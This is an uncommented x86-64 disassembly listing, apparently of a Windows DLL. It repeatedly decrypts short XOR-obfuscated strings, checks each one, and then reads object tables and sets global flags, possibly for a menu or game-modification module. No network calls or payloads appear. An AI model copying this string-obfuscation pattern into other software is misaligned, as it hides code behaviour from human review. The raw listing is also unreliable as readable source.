je 0x18009b4bc
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], sil
mov rcx, r15
call fcn.1800dc680
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 2
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.1800dc680
jmp 0x18009b4e7
call rax
mov rcx, rax
call rbx
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 2
call rbx
mov rcx, rdi
mov rbx, qword [0x180240108]
mov rax, qword [0x18023fee8]
cmp qword [r14 + 0xd0], rsi
je 0x18009b562
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], sil
mov rcx, r15
call fcn.1800dc680
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 3
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.1800dc680
jmp 0x18009b58d
call rax
mov rcx, rax
call rbx
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 3
call rbx
mov rcx, rdi
mov rbx, qword [0x180240108]
mov rax, qword [0x18023fee8]
cmp qword [r14 + 0xd0], rsi
je 0x18009b608
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], sil
mov rcx, r15
call fcn.1800dc680
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 4
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.1800dc680
jmp 0x18009b633
call rax
mov rcx, rax
call rbx
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 4
call rbx
mov rcx, rdi
mov rbx, qword [0x180240108]
mov rax, qword [0x18023fee8]
cmp qword [r14 + 0xd0], rsi
je 0x18009b6ae
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], sil
mov rcx, r15
call fcn.1800dc680
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 5
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.1800dc680
jmp 0x18009b6d9
call rax
mov rcx, rax
call rbx
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 5
call rbx
mov rcx, rdi
mov rbx, qword [0x180240108]
mov rax, qword [0x18023fee8]
cmp qword [r14 + 0xd0], rsi
je 0x18009b754
call rax
mov rcx, rax
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], sil
mov rcx, r15
call fcn.1800dc680
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 6
call rbx
mov r8, qword [0x18023d4d0]
mov r9b, 1
mov rdx, rdi
mov byte [rsp + 0x20], 1
mov rcx, r15
call fcn.1800dc680
jmp 0x18009b77f
call rax
mov rcx, rax
call rbx
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240128]
call rax
mov rcx, rax
movaps xmm3, xmm9
xor r8d, r8d
mov edx, 6
call rbx
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0x9f8]
call fcn.180016730
mov r8d, esi
movss xmm0, dword [rax]
mov eax, dword [0x1801b80a0]
mov dword [rbp + 0x1ba8], eax
movzx eax, word [0x1801b80a4]
mov word [rbp + 0x1bac], ax
movzx eax, byte [0x1801b80a6]
movss dword [rbp + 0xa00], xmm0
movsd xmm0, qword [0x1801b8098]
mov byte [rbp + 0x1bae], al
mov dword [rbp + 0xa04], 0x42200000
movsd qword [rbp + 0x1ba0], xmm0
cmp r12d, 2
jl 0x18009b8d5
movd eax, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b8098]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1ba0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1ba4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1ba4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1ba0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x18009b8f0
lea rdx, [rbp + 0xa00]
lea rcx, [rbp + 0x1ba0]
call fcn.180002b60
test al, al
je 0x18009b99d
cmp qword [0x18023d4d0], rsi
je 0x18009b99d
mov rax, qword [0x18023ff60]
movsxd rdx, dword [0x18023d958]
mov r9, qword [rax]
mov rax, qword [r9 + 8]
movzx r8d, byte [rax + rdx]
mov eax, dword [r9 + 0x14]
and r8d, 0x80
neg r8
imul eax, edx
sar r8, 0x3f
not r8
add rax, qword [r9]
and rax, r8
je 0x18009b99d
movsd xmm0, qword [rax + 0x90]
movsd qword [0x18023c20c], xmm0
mov eax, dword [rax + 0x98]
mov dword [0x18023c214], eax
mov byte [0x18023c1e9], 1
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0xa08]
call fcn.180016730
movups xmm1, xmmword [str.aCQVBVL_]
movss xmm0, dword [rax]
movups xmmword [rbp + 0x1d10], xmm1
mov dword [rbp + 0xa14], 0x42200000
psrldq xmm1, 0xf
movd eax, xmm1
movss dword [rbp + 0xa10], xmm0
test al, al
je 0x18009bb40
cmp r12d, 2
jl 0x18009bafd
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x1d14]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x18009ba10
jmp 0x18009bb40
lea r9, [rbp + 0x1d10]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x18009bb10
lea rdx, [rbp + 0xa10]
lea rcx, [rbp + 0x1d10]
call fcn.180002b60
test al, al
je 0x18009bbaf
cmp qword [0x18023d4d0], rsi
mov byte [0x18023bf94], sil
je 0x18009bbaf
mov rax, qword [0x18023ff60]
movsxd rdx, dword [0x18023d958]
mov r9, qword [rax]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x18009bbaf
mov qword [0x18023c1b8], rcx
mov byte [0x18023c1b3], 1
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0xa18]
call fcn.180016730
cmp byte [0x1801b80c9], sil
movups xmm1, xmmword [0x1801b80b8]
movss xmm0, dword [rax]
movzx eax, word [0x1801b80c8]
mov word [rbp + 0x20e0], ax
movss dword [rbp + 0xa20], xmm0
mov dword [rbp + 0xa24], 0x42200000
movups xmmword [rbp + 0x20d0], xmm1
je 0x18009bd60
mov r8d, esi
cmp r12d, 2
jl 0x18009bd23
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x20d4]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18009bc30
cmp r8d, 0x12
jge 0x18009bd60
movsxd rax, r8d
lea r9, [rbp + 0x20d0]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x18009bd30
lea rdx, [rbp + 0xa20]
lea rcx, [rbp + 0x20d0]
call fcn.180002b60
test al, al
je 0x18009bd7e
mov byte [0x18023c1b3], sil
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0xa28]
call fcn.180016730
mov r8d, esi
movups xmm1, xmmword [0x1801b80d0]
movss xmm0, dword [rax]
movzx eax, word [0x1801b80e0]
mov word [rbp + 0x2218], ax
movzx eax, byte [0x1801b80e2]
mov byte [rbp + 0x221a], al
movss dword [rbp + 0xa30], xmm0
mov dword [rbp + 0xa34], 0x42200000
movups xmmword [rbp + 0x2208], xmm1
cmp r12d, 2
jl 0x18009bef3
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x220c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18009be00
cmp r8d, 0x13
jge 0x18009bf30
movsxd rax, r8d
lea r9, [rbp + 0x2208]
add r9, rax
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x18009bf00
lea rdx, [rbp + 0xa30]
lea rcx, [rbp + 0x2208]
call fcn.180002b60
test al, al
je 0x18009bfda
cmp qword [0x18023d4d0], rsi
je 0x18009bfda
mov rax, qword [0x18023ff60]
movsxd rdx, dword [0x18023d958]
mov r9, qword [rax]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x18009bfda
mov rax, qword [0x18023ffe0]
mov rdi, qword [rax + rcx]
test rdi, rdi
je 0x18009bfda
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x180240108]
call rax
mov rcx, rax
call rbx
mov rax, qword [0x18023fee8]
mov rcx, rdi
mov rbx, qword [0x1802400f0]
call rax
mov rcx, rax
xor r8d, r8d
mov edx, 1
call rbx
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0xa38]
call fcn.180016730
cmp byte [0x1801b80f3], sil
movss xmm0, dword [rax]
mov eax, dword [0x1801b80f0]
movss dword [rbp + 0xa40], xmm0
movsd xmm0, qword [0x1801b80e8]
movsd qword [rbp + 0x1610], xmm0
mov dword [rbp + 0xa44], 0x42200000
mov dword [rbp + 0x1618], eax
je 0x18009c160
mov r8d, esi
cmp r12d, 2
jl 0x18009c122
movd eax, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b80e8]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1610], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1614]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1614], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1610]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18009c130
lea rdx, [rbp + 0xa40]
lea rcx, [rbp + 0x1610]
call fcn.180002b60
test al, al
je 0x18009c20b
cmp qword [0x18023d4d0], rsi
je 0x18009c20b
mov rax, qword [0x18023ff60]
movsxd rdx, dword [0x18023d958]
mov r9, qword [rax]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x18009c20b
mov rax, qword [0x18023ffe0]
mov rcx, qword [rax + rcx]
test rcx, rcx
je 0x18009c20b
mov rcx, qword [rcx + 0x48]
mov rax, qword [0x18023ff00]
mov rcx, qword [rcx + 0x20]
call rax
mov rdx, qword [0x18023d4d0]
mov rcx, qword [0x18023ffe0]
mov rcx, qword [rcx + rdx]
test rcx, rcx
je 0x18009c20b
mov rcx, qword [rcx + 0x48]
mov rdx, rax
mov rcx, qword [rcx + 0x20]
call qword [0x18023ff10]
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0xa48]
call fcn.180016730
lea rdx, [rbp + 0xa50]
lea rcx, [rbp + 0xd90]
movss xmm0, dword [rax]
movzx eax, byte [0x1801b8100]
movss dword [rbp + 0xa50], xmm0
xor al, 0x3a
movsd xmm0, qword [0x1801b80f8]
movsd qword [rbp + 0xd90], xmm0
xor byte [rbp + 0xd91], 0x33
xor byte [rbp + 0xd92], 0x34
xor byte [rbp + 0xd93], 0x35
xor byte [rbp + 0xd94], 0x36
xor byte [rbp + 0xd95], 0x37
xor byte [rbp + 0xd96], 0x38
xor byte [rbp + 0xd97], 0x39
mov byte [rbp + 0xd90], 0x43
mov dword [rbp + 0xa54], 0x42200000
mov byte [rbp + 0xd98], al
call fcn.180002b60
test al, al
je 0x18009c30f
cmp qword [0x18023d4d0], rsi
je 0x18009c30f
mov rax, qword [0x18023ff60]
movsxd rdx, dword [0x18023d958]
mov r9, qword [rax]
mov rax, qword [r9 + 8]
movzx r8d, byte [rax + rdx]
mov eax, dword [r9 + 0x14]
and r8d, 0x80
neg r8
imul eax, edx
sar r8, 0x3f
not r8
add rax, qword [r9]
and rax, r8
je 0x18009c30f
movsd xmm0, qword [rax + 0x90]
movsd qword [0x18023c20c], xmm0
mov eax, dword [rax + 0x98]
mov dword [0x18023c214], eax
mov byte [0x18023c209], 1
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0xa58]
call fcn.180016730
cmp byte [0x1801b8113], sil
movss xmm0, dword [rax]
mov eax, dword [0x1801b8110]
movss dword [rbp + 0xa60], xmm0
movsd xmm0, qword [0x1801b8108]
movsd qword [rbp + 0x1620], xmm0
mov dword [rbp + 0xa64], 0x42200000
mov dword [rbp + 0x1628], eax
je 0x18009c4a0
mov r8d, esi
cmp r12d, 2
jl 0x18009c457
movd eax, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b8108]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1620], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1624]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1624], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1620]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x18009c470
lea rdx, [rbp + 0xa60]
lea rcx, [rbp + 0x1620]
call fcn.180002b60
test al, al
je 0x18009c53c
cmp qword [0x18023d4d0], rsi
je 0x18009c53c
mov rax, qword [0x18023ff60]
movsxd rdx, dword [0x18023d958]
mov r9, qword [rax]
mov ecx, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul ecx, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add rcx, qword [r9]
neg r8
sar r8, 0x3f
not r8
and rcx, r8
je 0x18009c53c
mov rax, qword [0x18023ffe0]
mov rcx, qword [rax + rcx]
test rcx, rcx
je 0x18009c53c
mov rax, qword [0x18023fee8]
call rax
mov rdx, qword [0x18023fee8]
mov rbx, rax
mov rcx, qword [0x18023d4d0]
call rdx
mov r8d, 1
mov rdx, rax
mov rcx, rbx
call qword [0x180240110]
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0xa68]
call fcn.180016730
mov r8d, esi
movss xmm0, dword [rax]
mov eax, dword [0x1801b8120]
movss dword [rbp + 0xa70], xmm0
movsd xmm0, qword [0x1801b8118]
mov dword [rbp + 0x16b8], eax
movzx eax, byte [0x1801b8124]
movsd qword [rbp + 0x16b0], xmm0
mov byte [rbp + 0x16bc], al
mov dword [rbp + 0xa74], 0x42200000
cmp r12d, 2
jl 0x18009c684
movd eax, xmm6
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b8118]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x16b0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x16b4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x16b4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x16b0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x18009c6a0
lea rdx, [rbp + 0xa70]
lea rcx, [rbp + 0x16b0]
call fcn.180002b60
test al, al
je 0x18009c974
mov rax, qword [0x18023ff60]
mov r9, qword [rax]
test r9, r9
je 0x18009c974
movsxd rdx, dword [0x18023d958]
mov r15d, dword [r9 + 0x14]
mov rax, qword [r9 + 8]
imul r15d, edx
movzx r8d, byte [rax + rdx]
and r8d, 0x80
add r15, qword [r9]
neg r8
sar r8, 0x3f
not r8
and r15, r8
je 0x18009c974
mov rdx, qword [0x18023d4d0]
mov rcx, qword [rdx + 0x20]
test rcx, rcx
je 0x18009c974
mov rax, qword [r15 + 0x20]
test rax, rax
je 0x18009c974
mov eax, dword [rax + 0x18]
cmp dword [rcx + 0x18], eax
jne 0x18009c7b7
mov ebx, esi
mov rdi, rsi
mov r14d, 0xe8
cmp qword [rdx + 0x48], rsi
je 0x18009c7a4
mov rax, qword [r15 + 0x48]
mov r8d, ebx
movzx ecx, byte [rdi + rax + 0x124]
movzx r9d, byte [rax + r14]
movzx eax, byte [rdi + rax + 0x130]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ecx
lea rcx, [0x18023d940]
call fcn.1800dbed0
mov rdx, qword [0x18023d4d0]
inc ebx
inc rdi
add r14, 4
cmp ebx, 0xc
jl 0x18009c767
jmp 0x18009c974
movzx eax, word [0x1801b8158]
mov r8d, esi
mov word [rbp + 0x2c90], ax
movzx eax, byte [0x1801b815a]
mov byte [rbp + 0x2c92], al
movups xmm0, xmmword [0x1801b8128]
movups xmm1, xmmword [0x1801b8138]
movups xmmword [rbp + 0x2c60], xmm0
movups xmm0, xmmword [0x1801b8148]
movups xmmword [rbp + 0x2c70], xmm1
movups xmmword [rbp + 0x2c80], xmm0
cmp r12d, 2
jl 0x18009c913
movdqa xmmword [rsp + 0x60], xmm6
lea rcx, [rbp + 0x2c64]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
